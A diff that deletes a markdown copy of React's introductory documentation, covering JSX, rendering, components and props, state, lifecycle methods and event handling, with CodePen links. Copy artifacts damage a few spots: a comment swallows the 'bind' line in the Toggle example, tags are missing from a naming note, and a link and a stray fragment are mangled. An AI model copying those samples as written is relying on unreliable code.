-  requiredAny: PropTypes.any.isRequired,
-
-  // You can also specify a custom validator. It should return an Error
-  // object if the validation fails. Don't `console.warn` or throw, as this
-  // won't work inside `oneOfType`.
-  customProp: function(props, propName, componentName) {
-    if (!/matchme/.test(props[propName])) {
-      return new Error(
-        'Invalid prop `' + propName + '` supplied to' +
-        ' `' + componentName + '`. Validation failed.'
-      );
-    }
-  },
-
-  // You can also supply a custom validator to `arrayOf` and `objectOf`.
-  // It should return an Error object if the validation fails. The validator
-  // will be called for each key in the array or object. The first two
-  // arguments of the validator are the array or object itself, and the
-  // current item's key.
-  customArrayProp: PropTypes.arrayOf(function(propValue, key, componentName, location, propFullName) {
-    if (!/matchme/.test(propValue[key])) {
-      return new Error(
-        'Invalid prop `' + propFullName + '` supplied to' +
-        ' `' + componentName + '`. Validation failed.'
-      );
-    }
-  })
-};
-rea
-```
-
-</details>
-
-## \*\*\*\*
-
-## **Hello World**
-
-## The smallest React example looks like this:
-
-```
-ReactDOM.render(
-  <h1>Hello, world!</h1>,
-  document.getElementById('root')
-);
-```
-
-It displays a heading saying "Hello, world!" on the page.
-
-[**Try it on CodePen**](https://reactjs.org/redirect-to-codepen/hello-world)
-
-{% embed url="https://codepen.io/bgoonz/pen/wveBJBM" %}
-
-Click the link above to open an online editor. Feel free to make some changes, and see how they affect the output. Most pages in this guide will have editable examples like this one.
-
-## How to Read This Guide
-
-In this guide, we will examine the building blocks of React apps: elements and components. Once you master them, you can create complex apps from small reusable pieces.
-
-> TipThis guide is designed for people who prefer learning concepts step by step. If you prefer to learn by doing, check out our practical tutorial. You might find this guide and the tutorial complementary to each other.
-
-This is the first chapter in a step-by-step guide about main React concepts. You can find a list of all its chapters in the navigation sidebar. If you're reading this from a mobile device, you can access the navigation by pressing the button in the bottom right corner of your screen.
-
-Every chapter in this guide builds on the knowledge introduced in earlier chapters. **You can learn most of React by reading the "Main Concepts" guide chapters in the order they appear in the sidebar.** For example, ["Introducing JSX"](https://reactjs.org/docs/introducing-jsx.html) is the next chapter after this one.
-
-## Knowledge Level Assumptions
-
-React is a JavaScript library, and so we'll assume you have a basic understanding of the JavaScript language. **If you don't feel very confident, we recommend** [**going through a JavaScript tutorial**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/A_re-introduction_to_JavaScript) **to check your knowledge level** and enable you to follow along this guide without getting lost. It might take you between 30 minutes and an hour, but as a result you won't have to feel like you're learning both React and JavaScript at the same time.
-
-> NoteThis guide occasionally uses some newer JavaScript syntax in the examples. If you haven't worked with JavaScript in the last few years, these three points should get you most of the way.
-
-## **Introducing JSX**
-
-## Consider this variable declaration:
-
-```
-const element = <h1>Hello, world!</h1>;
-```
-
-This funny tag syntax is neither a string nor HTML.
-
-It is called JSX, and it is a syntax extension to JavaScript. We recommend using it with React to describe what the UI should look like. JSX may remind you of a template language, but it comes with the full power of JavaScript.
-
-JSX produces React "elements". We will explore rendering them to the DOM in the [next section](https://reactjs.org/docs/rendering-elements.html). Below, you can find the basics of JSX necessary to get you started.
-
-## Why JSX?
-
-React embraces the fact that rendering logic is inherently coupled with other UI logic: how events are handled, how the state changes over time, and how the data is prepared for display.
-
-Instead of artificially separating _technologies_ by putting markup and logic in separate files, React [separates _concerns_](https://en.wikipedia.org/wiki/Separation_of_concerns) with loosely coupled units called "components" that contain both. We will come back to components in a [further section](https://reactjs.org/docs/components-and-props.html), but if you're not yet comfortable putting markup in JS, [this talk](https://www.youtube.com/watch?v=x7cQ3mrcKaY) might convince you otherwise.
-
-React [doesn't require](https://reactjs.org/docs/react-without-jsx.html) using JSX, but most people find it helpful as a visual aid when working with UI inside the JavaScript code. It also allows React to show more useful error and warning messages.
-
-With that out of the way, let's get started!
-
-## Embedding Expressions in JSX
-
-In the example below, we declare a variable called `name` and then use it inside JSX by wrapping it in curly braces:
-
-```
-const name = 'Josh Perez';const element = <h1>Hello, {name}</h1>;
-ReactDOM.render(
-  element,
-  document.getElementById('root')
-);
-```
-
-You can put any valid [JavaScript expression](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#Expressions) inside the curly braces in JSX. For example, `2 + 2`, `user.firstName`, or `formatName(user)` are all valid JavaScript expressions.
-
-In the example below, we embed the result of calling a JavaScript function, `formatName(user)`, into an `<h1>` element.
-
-```
-function formatName(user) {
-  return user.firstName + ' ' + user.lastName;
-}
-
-const user = {
-  firstName: 'Harper',
-  lastName: 'Perez'
-};
-
-const element = (
-  <h1>    Hello, {formatName(user)}!  </h1>);
-
-ReactDOM.render(
-  element,
-  document.getElementById('root')
-);
-```
-
-[**Try it on CodePen**](https://reactjs.org/redirect-to-codepen/introducing-jsx)
-
-[https://codepen.io/bgoonz/pen/oNwgZgm](https://codepen.io/bgoonz/pen/oNwgZgm)
-
-We split JSX over multiple lines for readability. While it isn't required, when doing this, we also recommend wrapping it in parentheses to avoid the pitfalls of [automatic semicolon insertion](https://stackoverflow.com/q/2846283).
-
-## JSX is an Expression Too
-
-After compilation, JSX expressions become regular JavaScript function calls and evaluate to JavaScript objects.
-
-This means that you can use JSX inside of `if` statements and `for` loops, assign it to variables, accept it as arguments, and return it from functions:
-
-```
-function getGreeting(user) {
-  if (user) {
-    return <h1>Hello, {formatName(user)}!</h1>;  }
-  return <h1>Hello, Stranger.</h1>;}
-```
-
-## Specifying Attributes with JSX
-
-You may use quotes to specify string literals as attributes:
-
-```
-const element = <div tabIndex="0"></div>;
-```
-
-You may also use curly braces to embed a JavaScript expression in an attribute:
-
-```
-const element = <img src={user.avatarUrl}></img>;
-```
-
-Don't put quotes around curly braces when embedding a JavaScript expression in an attribute. You should either use quotes (for string values) or curly braces (for expressions), but not both in the same attribute.
-
-> Warning:Since JSX is closer to JavaScript than to HTML, React DOM uses camelCase property naming convention instead of HTML attribute names.For example, class becomes className in JSX, and tabindex becomes tabIndex.
-
-## Specifying Children with JSX
-
-If a tag is empty, you may close it immediately with `/>`, like XML:
-
-```
-const element = <img src={user.avatarUrl} />;
-```
-
-JSX tags may contain children:
-
-```
-const element = (
-  <div>
-    <h1>Hello!</h1>
-    <h2>Good to see you here.</h2>
-  </div>);
-```
-
-## JSX Prevents Injection Attacks
-
-It is safe to embed user input in JSX:
-
-```
-const title = response.potentiallyMaliciousInput;
-// This is safe:
-const element = <h1>{title}</h1>;
-```
-
-By default, React DOM [escapes](https://stackoverflow.com/questions/7381974/which-characters-need-to-be-escaped-on-html) any values embedded in JSX before rendering them. Thus it ensures that you can never inject anything that's not explicitly written in your application. Everything is converted to a string before being rendered. This helps prevent [XSS (cross-site-scripting)](https://en.wikipedia.org/wiki/Cross-site_scripting) attacks.
-
-## JSX Represents Objects
-
-Babel compiles JSX down to `React.createElement()` calls.
-
-These two examples are identical:
-
-```
-const element = (
-  <h1 className="greeting">
-    Hello, world!
-  </h1>);
-```
-
-```
-const element = React.createElement(
-  'h1',
-  {className: 'greeting'},
-  'Hello, world!'
-);
-```
-
-`React.createElement()` performs a few checks to help you write bug-free code but essentially it creates an object like this:
-
-```
-// Note: this structure is simplified
-const element = {
-  type: 'h1',
-  props: {
-    className: 'greeting',
-    children: 'Hello, world!'
-  }
-};
-```
-
-These objects are called "React elements". You can think of them as descriptions of what you want to see on the screen. React reads these objects and uses them to construct the DOM and keep it up to date.
-
-We will explore rendering React elements to the DOM in the [next section](https://reactjs.org/docs/rendering-elements.html).
-
-> Tip:We recommend using the "Babel" language definition for your editor of choice so that both ES6 and JSX code is properly highlighted.
-
-## **Rendering Elements**
-
-## Elements are the smallest building blocks of React apps.
-
-An element describes what you want to see on the screen:
-
-`const element = <h1>Hello, world</h1>;`
-
-Unlike browser DOM elements, React elements are plain objects, and are cheap to create. React DOM takes care of updating the DOM to match the React elements.
-
-> Note:One might confuse elements with a more widely known concept of "components". We will introduce components in the next section. Elements are what components are "made of", and we encourage you to read this section before jumping ahead.
-
-## Rendering an Element into the DOM
-
-Let's say there is a `<div>` somewhere in your HTML file:
-
-```
-<div id="root"></div>
-```
-
-We call this a "root" DOM node because everything inside it will be managed by React DOM.
-
-Applications built with just React usually have a single root DOM node. If you are integrating React into an existing app, you may have as many isolated root DOM nodes as you like.
-
-To render a React element into a root DOM node, pass both to `[ReactDOM.render()](<https://reactjs.org/docs/react-dom.html#render>)`:
-
-```
-const element = <h1>Hello, world</h1>;
-ReactDOM.render(element, document.getElementById('root'));
-```
-
-[**Try it on CodePen**](https://reactjs.org/redirect-to-codepen/rendering-elements/render-an-element)
-
-[https://codepen.io/bgoonz/pen/mdwyWeb?editors=0010](https://codepen.io/bgoonz/pen/mdwyWeb?editors=0010)
-
-It displays "Hello, world" on the page.
-
-## Updating the Rendered Element
-
-React elements are [immutable](https://en.wikipedia.org/wiki/Immutable_object). Once you create an element, you can't change its children or attributes. An element is like a single frame in a movie: it represents the UI at a certain point in time.
-
-With our knowledge so far, the only way to update the UI is to create a new element, and pass it to `[ReactDOM.render()](<https://reactjs.org/docs/react-dom.html#render>)`.
-
-Consider this ticking clock example:
-
-```
-function tick() {
-  const element = (
-    <div>      <h1>Hello, world!</h1>      <h2>It is {new Date().toLocaleTimeString()}.</h2>    </div>);
-  ReactDOM.render(element, document.getElementById('root'));}
-
-setInterval(tick, 1000);
-```
-
-[**Try it on CodePen**](https://reactjs.org/redirect-to-codepen/rendering-elements/update-rendered-element)
-
-[https://codepen.io/bgoonz/pen/eYRmvNy?editors=0010](https://codepen.io/bgoonz/pen/eYRmvNy?editors=0010)
-
-It calls `[ReactDOM.render()](<https://reactjs.org/docs/react-dom.html#render>)` every second from a `[setInterval()](<https://developer.mozilla.org/en-US/docs/Web/API/WindowTimers/setInterval>)` callback.
-
-> Note:In practice, most React apps only call ReactDOM.render() once. In the next sections we will learn how such code gets encapsulated into stateful components.We recommend that you don't skip topics because they build on each other.
-
-## React Only Updates What's Necessary
-
-React DOM compares the element and its children to the previous one, and only applies the DOM updates necessary to bring the DOM to the desired state.
-
-You can verify by inspecting the [last example](https://reactjs.org/redirect-to-codepen/rendering-elements/update-rendered-element) with the browser tools:
-
-![https://reactjs.org/c158617ed7cc0eac8f58330e49e48224/granular-dom-updates.gif](https://reactjs.org/c158617ed7cc0eac8f58330e49e48224/granular-dom-updates.gif)
-
-Even though we create an element describing the whole UI tree on every tick, only the text node whose contents have changed gets updated by React DOM.
-
-In our experience, thinking about how the UI should look at any given moment, rather than how to change it over time, eliminates a whole class of bugs.
-
-## **Components and Props**
-
-## Components let you split the UI into independent, reusable pieces, and think about each piece in isolation. This page provides an introduction to the idea of components. You can find a [detailed component API reference here](https://reactjs.org/docs/react-component.html).
-
-Conceptually, components are like JavaScript functions. They accept arbitrary inputs (called "props") and return React elements describing what should appear on the screen.
-
-## Function and Class Components
-
-The simplest way to define a component is to write a JavaScript function:
-
-```
-function Welcome(props) {
-  return <h1>Hello, {props.name}</h1>;
-}
-```
-
-This function is a valid React component because it accepts a single "props" (which stands for properties) object argument with data and returns a React element. We call such components "function components" because they are literally JavaScript functions.
-
-You can also use an [ES6 class](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Classes) to define a component:
-
-```
-class Welcome extends React.Component {
-  render() {
-    return <h1>Hello, {this.props.name}</h1>;
-  }
-}
-```
-
-The above two components are equivalent from React's point of view.
-
-Function and Class components both have some additional features that we will discuss in the [next sections](https://reactjs.org/docs/state-and-lifecycle.html).
-
-## Rendering a Component
-
-Previously, we only encountered React elements that represent DOM tags:
-
-```
-const element = <div />;
-```
-
-However, elements can also represent user-defined components:
-
-```
-const element = <Welcome name="Sara" />;
-```
-
-When React sees an element representing a user-defined component, it passes JSX attributes and children to this component as a single object. We call this object "props".
-
-For example, this code renders "Hello, Sara" on the page:
-
-```
-function Welcome(props) {  return <h1>Hello, {props.name}</h1>;
-}
-
-const element = <Welcome name="Sara" />;ReactDOM.render(
-  element,
-  document.getElementById('root')
-);
-```
-
-[**Try it on CodePen**](https://reactjs.org/redirect-to-codepen/components-and-props/rendering-a-component)
-
-[https://codepen.io/bgoonz/pen/QWgwpjd?editors=0010](https://codepen.io/bgoonz/pen/QWgwpjd?editors=0010)
-
-Let's recap what happens in this example:
-
-1. We call `ReactDOM.render()` with the `<Welcome name="Sara" />` element.
-2. React calls the `Welcome` component with `{name: 'Sara'}` as the props.
-3. Our `Welcome` component returns a `<h1>Hello, Sara</h1>` element as the result.
-4. React DOM efficiently updates the DOM to match `<h1>Hello, Sara</h1>`.
-
-> Note: Always start component names with a capital letter.React treats components starting with lowercase letters as DOM tags. For example,
->
-> represents an HTML div tag, but represents a component and requires Welcome to be in [scope.To](http://scope.to) learn more about the reasoning behind this convention, please read JSX In Depth.
-
-## Composing Components
-
-Components can refer to other components in their output. This lets us use the same component abstraction for any level of detail. A button, a form, a dialog, a screen: in React apps, all those are commonly expressed as components.
-
-For example, we can create an `App` component that renders `Welcome` many times:
-
-```
-function Welcome(props) {
-  return <h1>Hello, {props.name}</h1>;
-}
-
-function App() {
-  return (
-    <div>      <Welcome name="Sara" />      <Welcome name="Cahal" />      <Welcome name="Edite" />    </div>);
-}
-
-ReactDOM.render(
-  <App />,
-  document.getElementById('root')
-);
-```
-
-[**Try it on CodePen**](https://reactjs.org/redirect-to-codepen/components-and-props/composing-components)
-
-[https://codepen.io/bgoonz/pen/LYLEWNq?editors=0010](https://codepen.io/bgoonz/pen/LYLEWNq?editors=0010)
-
-Typically, new React apps have a single `App` component at the very top. However, if you integrate React into an existing app, you might start bottom-up with a small component like `Button` and gradually work your way to the top of the view hierarchy.
-
-## Extracting Components
-
-Don't be afraid to split components into smaller components.
-
-For example, consider this `Comment` component:
-
-```
-function Comment(props) {
-  return (
-    <div className="Comment">
-      <div className="UserInfo">
-        <img className="Avatar"src={props.author.avatarUrl}alt={props.author.name}/>
-        <div className="UserInfo-name">
-          {props.author.name}
-        </div>
-      </div>
-      <div className="Comment-text">
-        {props.text}
-      </div>
-      <div className="Comment-date">
-        {formatDate(props.date)}
-      </div>
-    </div>);
-}
-```
-
-[**Try it on CodePen**](https://reactjs.org/redirect-to-codepen/components-and-props/extracting-components)
-
-[https://codepen.io/bgoonz/pen/PojwpzP?editors=0010](https://codepen.io/bgoonz/pen/PojwpzP?editors=0010)
-
-It accepts `author` (an object), `text` (a string), and `date` (a date) as props, and describes a comment on a social media website.
-
-This component can be tricky to change because of all the nesting, and it is also hard to reuse individual parts of it. Let's extract a few components from it.
-
-First, we will extract `Avatar`:
-
-```
-function Avatar(props) {
-  return (
-    <img className="Avatar"      src={props.user.avatarUrl}      alt={props.user.name}    />  );
-}
-```
-
-The `Avatar` doesn't need to know that it is being rendered inside a `Comment`. This is why we have given its prop a more generic name: `user` rather than `author`.
-
-We recommend naming props from the component's own point of view rather than the context in which it is being used.
-
-We can now simplify `Comment` a tiny bit:
-
-```
-function Comment(props) {
-  return (
-    <div className="Comment">      <div className="UserInfo">        <Avatar user={props.author} />        <div className="UserInfo-name">          {props.author.name}
-        </div>      </div>      <div className="Comment-text">        {props.text}
-      </div>      <div className="Comment-date">        {formatDate(props.date)}
-      </div>    </div>);
-}
-```
-
-Next, we will extract a `UserInfo` component that renders an `Avatar` next to the user's name:
-
-`function UserInfo(props) { return ( <div className="UserInfo"> <Avatar user={props.user} /> <div className="UserInfo-name"> {props.user.name} </div> </div> ); }`
-
-This lets us simplify `Comment` even further:
-
-```
-function Comment(props) {
-  return (
-    <div className="Comment">      <UserInfo user={props.author} />      <div className="Comment-text">        {props.text}
-      </div>      <div className="Comment-date">        {formatDate(props.date)}
-      </div>    </div>);
-}
-```
-
-[**Try it on CodePen**](https://reactjs.org/redirect-to-codepen/components-and-props/extracting-components-continued)
-
-[https://codepen.io/bgoonz/pen/eYRmvzV?editors=0010](https://codepen.io/bgoonz/pen/eYRmvzV?editors=0010)
-
-Extracting components might seem like grunt work at first, but having a palette of reusable components pays off in larger apps. A good rule of thumb is that if a part of your UI is used several times (`Button`, `Panel`, `Avatar`), or is complex enough on its own (`App`, `FeedStory`, `Comment`), it is a good candidate to be extracted to a separate component.
-
-## Props are Read-Only
-
-Whether you declare a component [as a function or a class](https://reactjs.org/docs/components-and-props.html#function-and-class-components), it must never modify its own props. Consider this `sum` function:
-
-```
-function sum(a, b) {
-  return a + b;
-}
-```
-
-Such functions are called ["pure"](https://en.wikipedia.org/wiki/Pure_function) because they do not attempt to change their inputs, and always return the same result for the same inputs.
-
-In contrast, this function is impure because it changes its own input:
-
-```
-function withdraw(account, amount) {
-  account.total -= amount;
-}
-```
-
-React is pretty flexible but it has a single strict rule:
-
-**All React components must act like pure functions with respect to their props.**
-
-Of course, application UIs are dynamic and change over time. In the [next section](https://reactjs.org/docs/state-and-lifecycle.html), we will introduce a new concept of "state". State allows React components to change their output over time in response to user actions, network responses, and anything else, without violating this rule.
-
-## **State and Lifecycle**
-
-## This page introduces the concept of state and lifecycle in a React component. You can find a [detailed component API reference here](https://reactjs.org/docs/react-component.html).
-
-Consider the ticking clock example from [one of the previous sections](https://reactjs.org/docs/rendering-elements.html#updating-the-rendered-element). In [Rendering Elements](https://reactjs.org/docs/rendering-elements.html#rendering-an-element-into-the-dom), we have only learned one way to update the UI. We call `ReactDOM.render()` to change the rendered output:
-
-```
-function tick() {
-  const element = (
-    <div>      <h1>Hello, world!</h1>      <h2>It is {new Date().toLocaleTimeString()}.</h2>    </div>);
-  ReactDOM.render(    element,    document.getElementById('root')  );}
-
-setInterval(tick, 1000);
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/gwoJZk?editors=0010)
-
-In this section, we will learn how to make the `Clock` component truly reusable and encapsulated. It will set up its own timer and update itself every second.
-
-We can start by encapsulating how the clock looks:
-
-```
-function Clock(props) {
-  return (
-    <div>      <h1>Hello, world!</h1>      <h2>It is {props.date.toLocaleTimeString()}.</h2>    </div>  );
-}
-
-function tick() {
-  ReactDOM.render(
-    <Clock date={new Date()} />,    document.getElementById('root')
-  );
-}
-
-setInterval(tick, 1000);
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/dpdoYR?editors=0010)
-
-[https://codepen.io/bgoonz/pen/powvegw?editors=0010](https://codepen.io/bgoonz/pen/powvegw?editors=0010)
-
-However, it misses a crucial requirement: the fact that the `Clock` sets up a timer and updates the UI every second should be an implementation detail of the `Clock`.
-
-Ideally we want to write this once and have the `Clock` update itself:
-
-```
-ReactDOM.render(
-  <Clock />,  document.getElementById('root')
-);
-```
-
-To implement this, we need to add "state" to the `Clock` component.
-
-State is similar to props, but it is private and fully controlled by the component.
-
-## Converting a Function to a Class
-
-You can convert a function component like `Clock` to a class in five steps:
-
-1. Create an [ES6 class](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Classes), with the same name, that extends `React.Component`.
-2. Add a single empty method to it called `render()`.
-3. Move the body of the function into the `render()` method.
-4. Replace `props` with `this.props` in the `render()` body.
-5. Delete the remaining empty function declaration.
-
-```
-class Clock extends React.Component {
-  render() {
-    return (
-      <div>
-        <h1>Hello, world!</h1>
-        <h2>It is {this.props.date.toLocaleTimeString()}.</h2>
-      </div>);
-  }
-}
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/zKRGpo?editors=0010)
-
-[https://codepen.io/bgoonz/pen/eYRmvJV?editors=0010](https://codepen.io/bgoonz/pen/eYRmvJV?editors=0010)
-
-`Clock` is now defined as a class rather than a function.
-
-The `render` method will be called each time an update happens, but as long as we render `<Clock />` into the same DOM node, only a single instance of the `Clock` class will be used. This lets us use additional features such as local state and lifecycle methods.
-
-## Adding Local State to a Class
-
-We will move the `date` from props to state in three steps:
-
-1. Replace `this.props.date` with `this.state.date` in the `render()` method:
-
-```
-class Clock extends React.Component {
-  render() {
-    return (
-      <div>        <h1>Hello, world!</h1>        <h2>It is {this.state.date.toLocaleTimeString()}.</h2>      </div>);
-  }
-}
-```
-
-1. Add a [class constructor](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Classes#Constructor) that assigns the initial `this.state`:
-
-```
-class Clock extends React.Component {
-  constructor(props) {
-    super(props);
-    this.state = {date: new Date()};  }
-
-  render() {
-    return (
-      <div>        <h1>Hello, world!</h1>        <h2>It is {this.state.date.toLocaleTimeString()}.</h2>      </div>);
-  }
-}
-```
-
-Note how we pass `props` to the base constructor:
-
-```
- constructor(props) {
-    super(props);    this.state = {date: new Date()};
-  }
-```
-
-Class components should always call the base constructor with `props`.
-
-1. Remove the `date` prop from the `<Clock />` element:
-
-```
-ReactDOM.render(
-  <Clock />,  document.getElementById('root')
-);
-```
-
-We will later add the timer code back to the component itself.
-
-The result looks like this:
-
-```
-class Clock extends React.Component {
-  constructor(props) {    super(props);    this.state = {date: new Date()};  }render() {
-    return (
-      <div>        <h1>Hello, world!</h1>        <h2>It is {this.state.date.toLocaleTimeString()}.</h2>      </div>);
-  }
-}
-
-ReactDOM.render(
-  <Clock />,  document.getElementById('root')
-);
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/KgQpJd?editors=0010)
-
-[https://codepen.io/bgoonz/pen/oNwgZbV?editors=0010](https://codepen.io/bgoonz/pen/oNwgZbV?editors=0010)
-
-Next, we'll make the `Clock` set up its own timer and update itself every second.
-
-## Adding Lifecycle Methods to a Class
-
-In applications with many components, it's very important to free up resources taken by the components when they are destroyed.
-
-We want to [set up a timer](https://developer.mozilla.org/en-US/docs/Web/API/WindowTimers/setInterval) whenever the `Clock` is rendered to the DOM for the first time. This is called "mounting" in React.
-
-We also want to [clear that timer](https://developer.mozilla.org/en-US/docs/Web/API/WindowTimers/clearInterval) whenever the DOM produced by the `Clock` is removed. This is called "unmounting" in React.
-
-We can declare special methods on the component class to run some code when a component mounts and unmounts:
-
-```
-class Clock extends React.Component {
-  constructor(props) {
-    super(props);
-    this.state = {date: new Date()};
-  }
-
-  componentDidMount() {  }  componentWillUnmount() {  }render() {
-    return (
-      <div>        <h1>Hello, world!</h1>        <h2>It is {this.state.date.toLocaleTimeString()}.</h2>      </div>);
-  }
-}
-```
-
-These methods are called "lifecycle methods".
-
-The `componentDidMount()` method runs after the component output has been rendered to the DOM. This is a good place to set up a timer:
-
-```
-  componentDidMount() {
-    this.timerID = setInterval(      () => this.tick(),      1000    );  }
-```
-
-Note how we save the timer ID right on `this` (`this.timerID`).
-
-While `this.props` is set up by React itself and `this.state` has a special meaning, you are free to add additional fields to the class manually if you need to store something that doesn't participate in the data flow (like a timer ID).
-
-We will tear down the timer in the `componentWillUnmount()` lifecycle method:
-
-```
-  componentWillUnmount() {
-    clearInterval(this.timerID);  }
-```
-
-Finally, we will implement a method called `tick()` that the `Clock` component will run every second.
-
-It will use `this.setState()` to schedule updates to the component local state:
-
-```
-class Clock extends React.Component {
-  constructor(props) {
-    super(props);
-    this.state = {date: new Date()};
-  }
-
-  componentDidMount() {
-    this.timerID = setInterval(
-      () => this.tick(),
-      1000
-    );
-  }
-
-  componentWillUnmount() {
-    clearInterval(this.timerID);
-  }
-
-  tick() {    this.setState({      date: new Date()    });  }render() {
-    return (
-      <div>        <h1>Hello, world!</h1>        <h2>It is {this.state.date.toLocaleTimeString()}.</h2>      </div>);
-  }
-}
-
-ReactDOM.render(
-  <Clock />,
-  document.getElementById('root')
-);
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/amqdNA?editors=0010)
-
-Now the clock ticks every second.
-
-Let's quickly recap what's going on and the order in which the methods are called:
-
-1. When `<Clock />` is passed to `ReactDOM.render()`, React calls the constructor of the `Clock` component. Since `Clock` needs to display the current time, it initializes `this.state` with an object including the current time. We will later update this state.
-2. React then calls the `Clock` component's `render()` method. This is how React learns what should be displayed on the screen. React then updates the DOM to match the `Clock`'s render output.
-3. When the `Clock` output is inserted in the DOM, React calls the `componentDidMount()` lifecycle method. Inside it, the `Clock` component asks the browser to set up a timer to call the component's `tick()` method once a second.
-4. Every second the browser calls the `tick()` method. Inside it, the `Clock` component schedules a UI update by calling `setState()` with an object containing the current time. Thanks to the `setState()` call, React knows the state has changed, and calls the `render()` method again to learn what should be on the screen. This time, `this.state.date` in the `render()` method will be different, and so the render output will include the updated time. React updates the DOM accordingly.
-5. If the `Clock` component is ever removed from the DOM, React calls the `componentWillUnmount()` lifecycle method so the timer is stopped.
-
-## Using State Correctly
-
-There are three things you should know about `setState()`.
-
-## Do Not Modify State Directly
-
-For example, this will not re-render a component:
-
-```
-// Wrong
-this.state.comment = 'Hello';
-```
-
-Instead, use `setState()`:
-
-```
-// Correct
-this.setState({comment: 'Hello'});
-```
-
-The only place where you can assign `this.state` is the constructor.
-
-## State Updates May Be Asynchronous
-
-React may batch multiple `setState()` calls into a single update for performance.
-
-Because `this.props` and `this.state` may be updated asynchronously, you should not rely on their values for calculating the next state.
-
-For example, this code may fail to update the counter:
-
-```
-// Wrong
-this.setState({
-  counter: this.state.counter + this.props.increment,
-});
-```
-
-To fix it, use a second form of `setState()` that accepts a function rather than an object. That function will receive the previous state as the first argument, and the props at the time the update is applied as the second argument:
-
-```
-// Correct
-this.setState((state, props) => ({
-  counter: state.counter + props.increment
-}));
-```
-
-We used an [arrow function](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Functions/Arrow_functions) above, but it also works with regular functions:
-
-```
-// Correct
-this.setState(function(state, props) {
-  return {
-    counter: state.counter + props.increment
-  };
-});
-```
-
-## State Updates are Merged
-
-When you call `setState()`, React merges the object you provide into the current state.
-
-For example, your state may contain several independent variables:
-
-```
-  constructor(props) {
-    super(props);
-    this.state = {
-      posts: [],      comments: []    };
-  }
-```
-
-Then you can update them independently with separate `setState()` calls:
-
-```
-  componentDidMount() {
-    fetchPosts().then(response => {
-      this.setState({
-        posts: response.posts      });
-    });
-
-    fetchComments().then(response => {
-      this.setState({
-        comments: response.comments      });
-    });
-  }
-```
-
-The merging is shallow, so `this.setState({comments})` leaves `this.state.posts` intact, but completely replaces `this.state.comments`.
-
-## The Data Flows Down
-
-Neither parent nor child components can know if a certain component is stateful or stateless, and they shouldn't care whether it is defined as a function or a class.
-
-This is why state is often called local or encapsulated. It is not accessible to any component other than the one that owns and sets it.
-
-A component may choose to pass its state down as props to its child components:
-
-```
-<FormattedDate date={this.state.date} />
-```
-
-The `FormattedDate` component would receive the `date` in its props and wouldn't know whether it came from the `Clock`'s state, from the `Clock`'s props, or was typed by hand:
-
-```
-function FormattedDate(props) {
-  return <h2>It is {props.date.toLocaleTimeString()}.</h2>;
-}
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/zKRqNB?editors=0010)
-
-[https://codepen.io/bgoonz/pen/GREgWEp?editors=0010](https://codepen.io/bgoonz/pen/GREgWEp?editors=0010)
-
-This is commonly called a "top-down" or "unidirectional" data flow. Any state is always owned by some specific component, and any data or UI derived from that state can only affect components "below" them in the tree.
-
-If you imagine a component tree as a waterfall of props, each component's state is like an additional water source that joins it at an arbitrary point but also flows down.
-
-To show that all components are truly isolated, we can create an `App` component that renders three `<Clock>`s:
-
-```
-function App() {
-  return (
-    <div>      <Clock />      <Clock />      <Clock />    </div>);
-}
-
-ReactDOM.render(
-  <App />,
-  document.getElementById('root')
-);
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/vXdGmd?editors=0010)
-
-[https://codepen.io/bgoonz/pen/YzQPZQK?editors=0010](https://codepen.io/bgoonz/pen/YzQPZQK?editors=0010)
-
-Each `Clock` sets up its own timer and updates independently.
-
-In React apps, whether a component is stateful or stateless is considered an implementation detail of the component that may change over time. You can use stateless components inside stateful components, and vice versa.
-
-## **Handling Events**
-
-## Handling events with React elements is very similar to handling events on DOM elements. There are some syntax differences:
-
--   React events are named using camelCase, rather than lowercase.
--   With JSX you pass a function as the event handler, rather than a string.
-
-For example, the HTML:
-
-```
-<button onclick="activateLasers()">
-  Activate Lasers
-</button>
-```
-
-is slightly different in React:
-
-```
-<button onClick={activateLasers}>  Activate Lasers
-</button>
-```
-
-Another difference is that you cannot return `false` to prevent default behavior in React. You must call `preventDefault` explicitly. For example, with plain HTML, to prevent the default form behavior of submitting, you can write:
-
-```
-<form onsubmit="console.log('You clicked submit.'); return false"><button type="submit">Submit</button></form>
-```
-
-In React, this could instead be:
-
-```
-function Form() {
-  function handleSubmit(e) {
-    e.preventDefault();    console.log('You clicked submit.');
-  }
-
-  return (
-    <form onSubmit={handleSubmit}>      <button type="submit">Submit</button>    </form>);
-}
-```
-
-Here, `e` is a synthetic event. React defines these synthetic events according to the [W3C spec](https://www.w3.org/TR/DOM-Level-3-Events/), so you don't need to worry about cross-browser compatibility. React events do not work exactly the same as native events. See the `[SyntheticEvent](<https://reactjs.org/docs/events.html>)` reference guide to learn more.
-
-When using React, you generally don't need to call `addEventListener` to add listeners to a DOM element after it is created. Instead, just provide a listener when the element is initially rendered.
-
-When you define a component using an [ES6 class](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Classes), a common pattern is for an event handler to be a method on the class. For example, this `Toggle` component renders a button that lets the user toggle between "ON" and "OFF" states:
-
-```
-class Toggle extends React.Component {
-  constructor(props) {
-    super(props);
-    this.state = {isToggleOn: true};
-
-    // This binding is necessary to make `this` work in the callback    this.handleClick = this.handleClick.bind(this);  }
-
-  handleClick() {    this.setState(prevState => ({      isToggleOn: !prevState.isToggleOn    }));  }render() {
-    return (
-      <button onClick={this.handleClick}>        {this.state.isToggleOn ? 'ON' : 'OFF'}
-      </button>);
-  }
-}
-
-ReactDOM.render(
-  <Toggle />,
-  document.getElementById('root')
-);
-```
-
-[**Try it on CodePen**](https://codepen.io/gaearon/pen/xEmzGg?editors=0010)
-
-You have to be careful about the meaning of `this` in JSX callbacks. In JavaScript, class methods are not [bound](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_objects/Function/bind) by default. If you forget to bind `this.handleClick` and pass it to `onClick`, `this` will be `undefined` when the function is actually called.
